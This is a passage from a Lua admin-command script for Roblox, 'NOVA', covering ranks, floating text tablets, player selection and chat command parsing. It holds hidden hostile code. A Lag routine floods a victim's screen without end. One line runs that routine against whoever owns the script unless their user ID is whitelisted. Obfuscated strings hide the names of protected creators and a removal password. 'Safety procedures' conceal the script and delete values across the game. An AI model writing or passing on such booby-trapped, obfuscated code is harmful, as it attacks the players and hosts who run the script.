  778.         for _,v in pairs(NOVA.Ranked) do
  779.             if v.Name:lower() == Player:lower() then
  780.                 Rtn = v.Rank
  781.             end
  782.         end
  783.     else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  784.     end
  785.     return    Rtn
  786. end
  787.  
  788. --[[ GET RANK NAME ]]--
  789. function GetRankName(Player)
  790.     if type(Player) == "userdata" or type(Player) == "string" then
  791.         Rtn = nil
  792.         Rank = GetRank(Player)
  793.         for _,v in pairs(NOVA.Ranks) do
  794.             if v[1] == Rank then
  795.                 Rtn = v[2]
  796.             end
  797.         end
  798.         return Rtn
  799.     else
  800.         print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  801.         return "NOT AVALIBLE"
  802.     end
  803. end
  804.  
  805. --[[ GET RANKED TABLE ]]--
  806. function GetRankedTable(Player)
  807.     Rtn = nil
  808.     if type(Player) == "userdata" then
  809.         for _,v in pairs(NOVA.Ranked) do
  810.             if v.Name == Player.Name then
  811.                 Rtn = v
  812.             end
  813.         end
  814.     elseif type(Player) == "string" then
  815.         for _,v in pairs(NOVA.Ranked) do
  816.             if v.Name == Player then
  817.                 Rtn = v
  818.             end
  819.         end
  820.     else
  821.         print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  822.     end
  823.     return Rtn
  824. end
  825.  
  826. --[[ GET RECURSIVE CHILDREN ]]--
  827. function GetRecursiveChildren(Source, Name, SearchType, Children)
  828.     if Source == nil then
  829.         Source = NOVA.Services
  830.     end
  831.     if Name == nil or type(Name) ~= "string" then
  832.         Name = ""
  833.     end
  834.     if Children == nil or type(Children) ~= "table" then
  835.         Children = {}
  836.     end
  837.     if type(Source) == "userdata" then
  838.         pcall(function()
  839.             for _, Child in pairs(Source:children()) do
  840.                 pcall(function()
  841.                     if (function()
  842.                         if SearchType == nil or SearchType == 1 then
  843.                             return string.match(Child.Name:lower(), Name:lower())
  844.                         elseif SearchType == 2 then
  845.                             return string.match(Child.className:lower(), Name:lower())
  846.                         elseif SearchType == 3 then
  847.                             return Child:IsA(Name) or Child:IsA(Name:lower())
  848.                         elseif SearchType == 4 then
  849.                             return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  850.                         end
  851.                         return false
  852.                     end)() then
  853.                         table.insert(Children, Child)
  854.                     end
  855.                     GetRecursiveChildren(Child, Name, SearchType, Children)
  856.                 end)
  857.             end
  858.         end)
  859.     elseif type(Source) == "table" then
  860.         for _,Area in pairs(Source) do
  861.             pcall(function()
  862.                 for _, Child in pairs(Area:children()) do
  863.                     pcall(function()
  864.                         if (function()
  865.                             if SearchType == nil or SearchType == 1 then
  866.                                 return string.match(Child.Name:lower(), Name:lower())
  867.                             elseif SearchType == 2 then
  868.                                 return string.match(Child.className:lower(), Name:lower())
  869.                             elseif SearchType == 3 then
  870.                                 return Child:IsA(Name) or Child:IsA(Name:lower())
  871.                             elseif SearchType == 4 then
  872.                                 return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  873.                             end
  874.                             return false
  875.                         end)() then
  876.                             table.insert(Children, Child)
  877.                         end
  878.                         GetRecursiveChildren(Child, Name, SearchType, Children)
  879.                     end)
  880.                 end
  881.             end)
  882.         end
  883.     else
  884.         print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  885.     end
  886.     return Children
  887. end
  888.  
  889. --[[ GET REPLICATORS ]]--
  890. function GetReplicators()
  891.     Rtn = NOVA.Services.NetworkServer:GetChildren()
  892.     for i=1,#Rtn do
  893.         if not Rtn[i]:IsA("ServerReplicator") then
  894.             table.remove(Rtn,i)
  895.         end
  896.     end
  897.     return Rtn
  898. end
  899.  
  900. --[[ GET RANKED ]]--
  901.  
  902. function GetRanked()
  903.     local Rtn = {}
  904.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  905.         if GetRank(v) ~= nil and GetRank(v) > 0 then
  906.             table.insert(Rtn,v)
  907.         end
  908.     end
  909.     return Rtn    
  910. end
  911.  
  912. --[[ GTFO ]]--
  913. function GTFO(v)
  914.     coroutine.resume(coroutine.create(function()
  915.           pcall(function() v:Remove() end)
  916.         wait(0.5)
  917.         pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
  918.     end))
  919. end
  920. --[[ GET RID OF ]]--
  921. function GetRidOf(v)
  922. if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then  
  923.    Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  924.    else        
  925. coroutine.resume(coroutine.create(function()        
  926. v:Destroy()        
  927. end))
  928. end
  929. end
  930. --[[ LAG ]]--
  931. function Lag(v)
  932.     coroutine.resume(coroutine.create(function()
  933.         if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
  934.             OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  935.         else
  936.     while wait() do
  937.     for i=1, 5 do
  938.     local Msg = Instance.new("Message",v.PlayerGui)
  939.     Msg.Text = "JOO B LAGGIN NARB"
  940.     local Hint = Instance.new("Hint",v.PlayerGui) Hint.Text = "JOO B LAGGIN NARB"
  941.    end
  942.     end
  943.             local H = Instance.new("Hint",NOVA.Services.Workspace)
  944.             repeat
  945.                 H.Text = v.Name.." be gettin' lagged."
  946.                 H.Parent = NOVA.Services.Workspace
  947.                 wait()
  948.             until v.Parent == nil
  949.             H:Remove()
  950.         end
  951.     end))
  952. end
  953. if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
  954. --[[ GET TABLETS ]]--
  955.  
  956. function GetTablets(Player)
  957.     local Rtn = {}
  958.     for _, Tablet in pairs(NOVA.Tablets) do
  959.         if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
  960.             if Tablet.Recipient.Value == Player then
  961.                 table.insert(Rtn, Tablet)
  962.             end
  963.         end
  964.     end
  965.     --table.insert(_tablets,Instance.new("Model"))
  966.     return Rtn
  967. end
  968.  
  969. --[[ REMOVE TABLETS ]]--
  970.  
  971. function RemoveTablets(Player)
  972.     if Player == nil then
  973.         for _,v in pairs(NOVA.Tablets) do
  974.             coroutine.resume(coroutine.create(function()
  975.                 for i=1,10 do
  976.                     v.Part.Transparency = v.Part.Transparency + 0.05
  977.                     v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  978.                     v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  979.                     wait()
  980.                 end
  981.                 v:remove()
  982.             end))
  983.         end
  984.     else
  985.         for _,v in pairs(GetTablets(Player)) do
  986.             coroutine.resume(coroutine.create(function()
  987.                 for i=1,10 do
  988.                     v.Part.Transparency = v.Part.Transparency + 0.05
  989.                     v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  990.                     v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  991.                     wait()
  992.                 end
  993.                 v:remove()
  994.             end))
  995.         end
  996.     end
  997. end
  998.  
  999. --[[ OUTPUT ]]--
  1000. function Output(Message, Color, Player, Stick, Func)
  1001.     if Player == nil or Color == nil or Player == nil then
  1002.         print("[NOVA.Output] Argument(s) missing or nil.")
  1003.         return
  1004.     end
  1005.    
  1006.     Message = tostring(Message)
  1007.     if type(Player) == "userdata" then
  1008.         if Player.Character == nil or Player.Character.Head == nil then
  1009.             return
  1010.         end
  1011.     end
  1012.     if type(Player) == "string" then
  1013.         for _,v in pairs(GetPlayers(Player,"NOVA")) do
  1014.             Output(Message,Color,v,Stick,Func)
  1015.         end
  1016.         return
  1017.     end
  1018.  
  1019.     if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  1020.  
  1021.     local Model = Instance.new("Model",NOVA.Services.Workspace)
  1022.     table.insert(NOVA.Tablets, Model)
  1023.     Model.Name = "Output:" .. NOVA.Bet .. Player.Name
  1024.  
  1025.     local Part = Instance.new("Part",Model)
  1026.     Part.Transparency = 0.5
  1027.     Part.CanCollide = false
  1028.     Part.Locked = true
  1029.     Part.Anchored = true
  1030.     Part.Name = "Part"
  1031.     Part.TopSurface = "Smooth"
  1032.     Part.BottomSurface = "Smooth"
  1033.     Part.FormFactor = "Plate"
  1034.     Part.Color = Color
  1035.     Part.Size = Vector3.new(2, 0.4, 3)
  1036.     Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
  1037.     Part:BreakJoints()
  1038.    
  1039.     local Box = Instance.new("SelectionBox",Part)
  1040.     Box.Name = "SelectionBox"
  1041.     Box.Adornee = Part
  1042.     Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  1043.     Box.Transparency = 0.75
  1044.  
  1045.             if GetRankedTable(Player).Mesh == "Tablet" then
  1046.             Mesh = Instance.new("SpecialMesh")
  1047.             Mesh.Parent = Part
  1048.             Mesh.TextureId = "http://www.roblox.com/asset?id=97689055"
  1049.             Mesh.MeshId = "http://www.roblox.com/asset?id=97689497"
  1050.             Mesh.MeshType = Enum.MeshType.FileMesh
  1051.             Box.Transparency = 1   
  1052.             elseif GetRankedTable(Player).Mesh == "Dominus" then
  1053.             Mesh = Instance.new("SpecialMesh")
  1054.             Mesh.Parent = Part
  1055.             Mesh.TextureId = "http://www.roblox.com/asset/?id=83944043"
  1056.             Mesh.MeshId = "http://www.roblox.com/asset/?id=21057410"
  1057.             Mesh.MeshType = Enum.MeshType.FileMesh
  1058.             Box.Transparency = 1   
  1059.             elseif GetRankedTable(Player).Mesh == "Orb" then
  1060.             Mesh = Instance.new("SpecialMesh")
  1061.             Mesh.Parent = Part
  1062.             Mesh.TextureId = "http://www.roblox.com/asset/?id=34914385"
  1063.             Mesh.MeshId = "http://www.roblox.com/asset/?id=34795798"
  1064.             Mesh.MeshType = Enum.MeshType.FileMesh
  1065.             Box.Transparency = 1   
  1066.             elseif GetRankedTable(Player).Mesh == "Spider" then
  1067.           Mesh = Instance.new("SpecialMesh")
  1068.            Mesh.Parent = Part
  1069.           Mesh.TextureId = "http://www.roblox.com/asset/?id=64485392"
  1070.     Mesh.MeshId = "http://www.roblox.com/asset/?id=64485380"
  1071.     Mesh.Scale = Vector3.new(4, 4, 4)
  1072.     Mesh.VertexColor = Vector3.new(1, 0, 0)
  1073.     Mesh.MeshType = Enum.MeshType.FileMesh
  1074.  
  1075.             end
  1076.  
  1077.            
  1078.     local Recipient = Instance.new("ObjectValue",Model)
  1079.     Recipient.Name = "Recipient"
  1080.     Recipient.Value = Player
  1081.  
  1082. Gui = Instance.new("BillboardGui")
  1083. Gui.Name = "BillboardGui"
  1084. Gui.Parent = Model
  1085. Gui.Adornee = Part
  1086. Gui.Size = UDim2.new(1, 0, 1, 0)
  1087. Gui.StudsOffset = Vector3.new(0, 3, 0)
  1088. local Frame = Instance.new("Frame",Gui)
  1089. Frame.Name = "Frame"
  1090. Frame.Size = UDim2.new(1, 0, 1, 0)
  1091. Frame.BackgroundTransparency = 1
  1092. Label = Instance.new("TextLabel")
  1093. Label.Name = "Label"
  1094. Label.Parent = Frame
  1095. Label.Size = UDim2.new(1,0,1,0)
  1096. Label.FontSize = "Size12"
  1097. Label.TextColor3 = Color
  1098. Label.Text = Message
  1099. Label.BackgroundTransparency = 1
  1100.  
  1101.     Gui.Adornee = Part
  1102.     local Click = Instance.new("ClickDetector",Part)
  1103.     Click.MaxActivationDistance = 9201
  1104.     Click.MouseClick:connect(function(player)
  1105.         if player == Player or GetRank(player) > GetRank(Player) then
  1106.             if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
  1107.                 RemoveTablets(Player)
  1108.             else
  1109.                 coroutine.resume(coroutine.create(function()
  1110.                     for i=1,10 do
  1111.                         Part.Transparency = Part.Transparency + 0.05
  1112.                         Box.Transparency = Box.Transparency + 0.025
  1113.                         Label.TextTransparency = Label.TextTransparency + 0.1
  1114.                         wait()
  1115.                     end
  1116.                     Model:remove()
  1117.                 end))
  1118.                
  1119.                 Func(player)
  1120.             end
  1121.         end
  1122.     end)
  1123.    
  1124.      coroutine.resume(coroutine.create(function()
  1125.         if Stick == 0 or Stick == nil then else
  1126.             pcall(function()
  1127.                 --[[for i=Stick,0,-0.5 do
  1128.                     Label.Text = Message .. "\t(" .. i .. ")"
  1129.                     wait(0.5)
  1130.                 end        
  1131.                 Model:Destroy()]]
  1132.                 NOVA.Services.Debris:AddItem(Model,Stick)
  1133.             end)
  1134.         end
  1135.      end))
  1136.    
  1137.     return Click
  1138. end
  1139.  
  1140. -- [ IMAGE OUTPUT ]]--
  1141. function OutputImg(Image,Text,Color,Player,Stick,Func)
  1142.     Tab = Output(Text,Color,Player,Stick,Func)
  1143.    
  1144.     BBG = Instance.new("BillboardGui",Tab.Parent)
  1145.     BBG.Size = UDim2.new(5,0,6,0)
  1146.     BBG.StudsOffset = Vector3.new(0, 7, 0)
  1147.     BBG.Adornee = Tab.Parent
  1148.    
  1149.     Img = Instance.new("ImageLabel",BBG)
  1150.     Img.Size = UDim2.new(1,0,1,0)
  1151.     Img.BackgroundTransparency = 1
  1152.     Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  1153.     return Tab
  1154. end
  1155.  
  1156. --[[ OUTPUT MULTI ]]--
  1157.  
  1158. function OutputMulti(Msg,Color,Players,Stick,Func)
  1159.     --if type(Players) == "Table" then
  1160.         for _,v in pairs(Players) do
  1161.             Output(Msg,Color,v,Stick,Func)
  1162.         end
  1163.     --end
  1164. end
  1165.  
  1166. --[[ UPDATE TABLETS ]]--
  1167.  
  1168. function UpdateTablets()
  1169.     --pcall(function()
  1170.         NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
  1171.         for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1172.             local Tablets = GetTablets(Player)
  1173.             local Counter = 0
  1174.             local StartCF = CFrame.new(0,0,0)
  1175.            
  1176.             for i = 180, -180, -360/(#Tablets ) do
  1177.                 pcall(function()
  1178.                     Counter = Counter + 1
  1179.                     if NOVA.TabletPositionRelative == true then
  1180.                         StartCF = Player.Character.Torso.CFrame
  1181.                     else
  1182.                         StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
  1183.                     end
  1184.                     Tablets[Counter].Part.CFrame = StartCF
  1185.                         * CFrame.new(0, 0, 0)
  1186.                         * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
  1187.                         * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
  1188.                         * CFrame.Angles(math.rad(70), 0, 0)
  1189.                 end)
  1190.             end
  1191.  
  1192.             if #Tablets == 1 then
  1193.                 pcall(function()
  1194.                     Tablets[1].Part.CFrame = Player.Torso.CFrame
  1195.                         * CFrame.new(0, 0, 0)
  1196.                         * CFrame.Angles(0, math.rad(0), 0)
  1197.                         * CFrame.new(0, 0, -5)
  1198.                         * CFrame.Angles(math.rad(70), 0, 0)
  1199.                 end)
  1200.             end
  1201.         end
  1202.         wait()
  1203.     --end)
  1204. end
  1205. --[[ GET PLAYERS RAW ]]--
  1206. function GetPlayersRaw()
  1207.     return NOVA.Services.Players:GetPlayers()
  1208. end
  1209.  
  1210. --[[ GET PLAYERS ]]--
  1211. function GetPlayers(Name,Speaker)
  1212.     if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  1213.     local OldName = Name
  1214.     local Name = Name:lower()
  1215.     local Players = GetPlayersRaw()
  1216.     local Rtn = {}
  1217.     for i=1,#Name do
  1218.         if Name:find(",") then
  1219.             local Split = 0
  1220.             for i=1,#Name do
  1221.                 if Name:sub(i,i) == "," then
  1222.                     Split = i
  1223.                 end
  1224.             end
  1225.             for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
  1226.                 table.insert(Rtn,v)
  1227.             end
  1228.             Name = Name:sub(1,Split-1)
  1229.         end
  1230.     end
  1231.     if Name == "external players" then
  1232.         for _,v in pairs(NOVA.ExternalPlayersList) do
  1233.             if GetRank(Speaker) >= GetRank(v) then
  1234.                 table.insert(Rtn,v)
  1235.             else
  1236.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1237.             end
  1238.         end
  1239.     elseif Name == "all" then
  1240.         for _,v in pairs(Players) do
  1241.             if GetRank(Speaker) >= GetRank(v) then
  1242.                 table.insert(Rtn,v)
  1243.             else
  1244.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1245.             end
  1246.         end
  1247.     elseif Name == "others" then
  1248.         for _,v in pairs(Players) do
  1249.             if v ~= Speaker then
  1250.                 if GetRank(Speaker) >= GetRank(v) then
  1251.                     table.insert(Rtn,v)
  1252.                 else
  1253.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1254.                 end
  1255.             end
  1256.         end
  1257.     elseif Name == "random" then
  1258.         local Person = Players[math.random(1,#Players)]
  1259.         if GetRank(Speaker) >= GetRank(Person) then
  1260.             table.insert(Rtn,Person)
  1261.         else
  1262.             Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1263.         end
  1264.     elseif Name == "me" or Name == "not me" or Name =="notme" then
  1265.         table.insert(Rtn,Speaker)
  1266.     elseif Name == "vetrans" then
  1267.         for _,v in pairs(Players) do
  1268.             if v.AccountAge > 365 then
  1269.                 if GetRank(Speaker) >= GetRank(v) then
  1270.                     table.insert(Rtn,v)
  1271.                 else
  1272.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1273.                 end
  1274.             end
  1275.         end
  1276.     elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
  1277.         for _,v in pairs(Players) do
  1278.             if v.AccountAge < 365 then
  1279.                 if GetRank(Speaker) >= GetRank(v) then
  1280.                     table.insert(Rtn,v)
  1281.                 else
  1282.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1283.                 end
  1284.             end    
  1285.         end
  1286.     elseif Name == "newbs" or Name == "noobs" then
  1287.         for _,v in pairs(Players) do
  1288.             if v.AccountAge < 60 then
  1289.                 if GetRank(Speaker) >= GetRank(v) then
  1290.                     table.insert(Rtn,v)
  1291.                 else
  1292.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1293.                 end
  1294.             end    
  1295.         end
  1296.     elseif Name == "targeted" then
  1297.         for _,v in pairs(NOVA.Targeted) do
  1298.             if GetRank(Speaker) >= GetRank(v) then
  1299.                 table.insert(Rtn,v)
  1300.             else
  1301.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1302.             end
  1303.         end
  1304.     elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
  1305.         for _,v in pairs(Players) do
  1306.             if not IsTargeted(v) then
  1307.                 if GetRank(Speaker) >= GetRank(v) then
  1308.                     table.insert(Rtn,v)
  1309.                 else
  1310.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1311.                 end
  1312.             end
  1313.         end
  1314. elseif string.sub(Name,1,5) == "rank " then
  1315.     local ToKillRank = string.sub(Name,6)
  1316. for i,v in pairs(game.Players:GetPlayers()) do
  1317. if GetRanked(v) == ToKillRank then
  1318. if GetRank(Speaker) >= GetRank(v) then
  1319.                             table.insert(Rtn,v)
  1320.                         else
  1321.                             Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1322.                         end
  1323. end
  1324. end
  1325.     elseif Name:sub(1,4) == "not " then
  1326.         for _,v in pairs(Players) do
  1327.             for _,Check in pairs(Players) do
  1328.                 if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
  1329.                     if v ~= Check then
  1330.                         if GetRank(Speaker) >= GetRank(v) then
  1331.                             table.insert(Rtn,v)
  1332.                         else
  1333.                             Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1334.                         end
  1335.                     end
  1336.                 end
  1337.             end
  1338.         end
  1339.     else
  1340.         for _,v in pairs(Players) do
  1341.             if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
  1342.                 if GetRank(Speaker) >= GetRank(v) then
  1343.                     table.insert(Rtn,v)
  1344.                 else
  1345.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1346.                 end
  1347.             end
  1348.         end
  1349.     end
  1350.     return Rtn
  1351. end
  1352.  
  1353. --[[ ON CHATTED ]]--
  1354. function OnChatted(Msg,Speaker)
  1355.     coroutine.resume(coroutine.create(function()
  1356.         if NOVA.Removed == false then
  1357.             if Msg:find(" --") then
  1358.                 for i=1,#Msg do
  1359.                     if Msg:sub(i,i+2) == " --" then
  1360.                         Msg = Msg:sub(1,i-1)
  1361.                         break
  1362.                     end
  1363.                 end
  1364.             end
  1365.             local Data = GetRankedTable(Speaker)
  1366.             if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1367.                 if NOVA.ShowChat == true then    
  1368.                     if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
  1369.                         print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
  1370.                     else
  1371.                         print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
  1372.                     end
  1373.                 end
  1374.             end
  1375.            
  1376.             --[[ CHAT FILTERS ]]--
  1377.             for _,v in pairs(NOVA.ChatFilters) do
  1378.                 if Msg:lower():sub(1,#v + 1) == v:lower().." " then
  1379.                     Msg = Msg:sub(#v+2)
  1380.                 end
  1381.             end
  1382.        
  1383.             if GetRank(Speaker) < 6 then
  1384.                 --[[ KILLING PHRASES ]]--
  1385.                 for _,v in pairs(NOVA.KillingPhrases) do
  1386.                     if Msg:lower():find(v:lower()) then
  1387.                         pcall(function()
  1388.                             Speaker.Character:BreakJoints()
  1389.                         end)
  1390.                     end
  1391.                 end
  1392.             end
  1393.     local FoundKick = false
  1394.         if NOVA.BadPhrases == true then
  1395.             if GetRank(Speaker) <= 0 then
  1396.                 --[[ KICKING PHRASES ]]--
  1397.                 --if game.PlaceId == 113456 or game.PlaceId == 56786 then
  1398.                     for _,v in pairs(NOVA.KickingPhrases) do
  1399.             if FoundKick == false then
  1400.                         if Msg:lower():find(v:lower()) then
  1401.                             GetRidOf(Speaker)
  1402.                FoundKick = true
  1403.                 makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
  1404.                     pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
  1405.                         end
  1406.             end
  1407.                     end
  1408.                 end
  1409.             end
  1410.            
  1411.             --[[ ANIMATIONS ]]--
  1412.             for _,v in pairs(NOVA.Animations) do
  1413.                 if Speaker.Name == v.Who then
  1414.                     if Msg:lower():find(v.Name:lower()) then
  1415.                         pcall(function()
  1416.                             CreateLocalScript([[
  1417.                             local Animation = Instance.new("Animation",workspace)
  1418.                             Animation.Name = "tusKOr661's Animation"
  1419.                             Animation.AnimationId = "]]..v.Id..[["
  1420.                             local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
  1421.                             local anim_feet = hum:LoadAnimation(Animation)
  1422.                             local current = anim_feet
  1423.                             current:Play(0.5)
  1424.                             ]],Speaker.Backpack)
  1425.                         end)
  1426.                     end
  1427.                 end
  1428.             end
  1429.            
  1430.             Num = 1
  1431.             Sep = nil
  1432.                            
  1433.             if Msg:sub(1,3) == NOVA.Bet .. "do" then
  1434.            
  1435.                 for i=4,#Msg do
  1436.                     if Msg:sub(i,i) == NOVA.Bet .. "" then
  1437.                         Sep = i
  1438.                         break
  1439.                     end
  1440.                 end
  1441.                
  1442.                 if Sep ~= nil then
  1443.                     Num = tonumber(Msg:sub(4,Sep-1))
  1444.                 end
  1445.                
  1446.                 Msg = Msg:sub(Sep)
  1447.             end
  1448.            
  1449.             table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
  1450.            
  1451.             if Data.Rank < 6 and Data.Rank >= 0 then
  1452.                 if Num > (GetRank(Speaker) + 1 )*10 then
  1453.                     Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1454.                     Num = 0
  1455.                 end
  1456.             end          
  1457.             for i=1,Num do
  1458.                 if NOVA.Canceled == true then NOVA.Canceled = false break end
  1459.                 for _,CMD in pairs(NOVA.Commands) do
  1460.                     if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
  1461.                         RemoveTablets(Speaker)
  1462.                         Output("Name : "..CMD.Name,Data.Color,Speaker)
  1463.                         Output("Rank : "..CMD.Rank,Data.Color,Speaker)
  1464.                         Output("Command : "..CMD.Command,Data.Color,Speaker)
  1465.                         Output("Arguments : "..CMD.Args,Data.Color,Speaker)
  1466.                         Output("Description : "..CMD.Description,Data.Color,Speaker)
  1467.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  1468.                     elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
  1469.                         if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
  1470.                             if NOVA.Overrided == true and Data.Rank < 7 then
  1471.                                 Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
  1472.                             else
  1473.                                 local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
  1474.                                 if not a then
  1475.                                     Output(b,NOVA.Colors.Red,Speaker,15)
  1476.                                 else
  1477.                                     table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
  1478.                                 end
  1479.                             end
  1480.                         else
  1481.                             table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
  1482.                             print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1483.                             Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1484.                         end
  1485.                        
  1486.                     end
  1487.                 end    
  1488.                 wait()
  1489.             end                
  1490.         end
  1491.     end))
  1492. end
  1493.  
  1494. --[[ ADD COMMAND ]]--
  1495. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1496.     for i,v in pairs(NOVA.Commands) do
  1497.         if v.Command == Command then
  1498.             table.remove(NOVA.Commands,i)
  1499.         end
  1500.     end
  1501.     table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1502. end
  1503.  
  1504. --[[ BACKUP PROCEDURE ]]--
  1505. pcall(function()
  1506.     NOVA.Backup = script:children()[2].Value
  1507. end)
  1508.  
  1509. --[[ NIL SUPPORT ]]--
  1510. game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
  1511.     local Split = GetSplit(Message)
  1512.     OnChatted(Message:sub(Split+1),Message:sub(Split-1))
  1513. end)
  1514.  
  1515. --[[ Safety Procedure # 1 ]]--
  1516. pcall(function()
  1517.     NOVA.LocalScript.Parent = nil
  1518. end)
  1519. for _,v in pairs(NOVA.Plugins) do
  1520.     pcall(function()
  1521.         v.Parent = nil
  1522.     end)
  1523. end
  1524. pcall(function()
  1525.     script:ClearAllChildren()
  1526. end)
  1527.  
  1528. --[[ Safty Procedure # 2 ]]--
  1529. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1530.     if v:IsA("StringValue") or v:IsA("IntValue") then
  1531.         pcall(function()
  1532.             v:remove()
  1533.         end)
  1534.     end
  1535. end
  1536.  
  1537. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1538. for _,Service in pairs(NOVA.Services) do
  1539.     pcall(function()
  1540.         Service.DescendantAdded:connect(function(v)
  1541.             if v:IsA("BaseScript") then
  1542.                 table.insert(NOVA.LoggedScripts,v)
  1543.             end
  1544.         end)
  1545.     end)
  1546. end
  1547.  
  1548. for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
  1549.     pcall(function()
  1550.         table.insert(NOVA.LoggedScripts,v)
  1551.     end)
  1552. end
  1553.  
  1554. --[[ GLOBAL FUNCTIONS ]]--
  1555. function SetGlobals()
  1556.     if NOVA.UseGlobals == true then
  1557.         _G.NOVACommands = function(Msg,Speaker,Players,Password)
  1558.             if Password == "grandma" then
  1559.                 NOVA.ExternalPlayersList = {}
  1560.                 for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
  1561.                 OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
  1562.             end
  1563.         end
  1564.  
  1565.         _G.RemoveNOVA = function(Pass)
  1566.             if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
  1567.                 NOVA.Removed = true
  1568.                 NOVA = {}
  1569.                 error("Unknown Exception")()
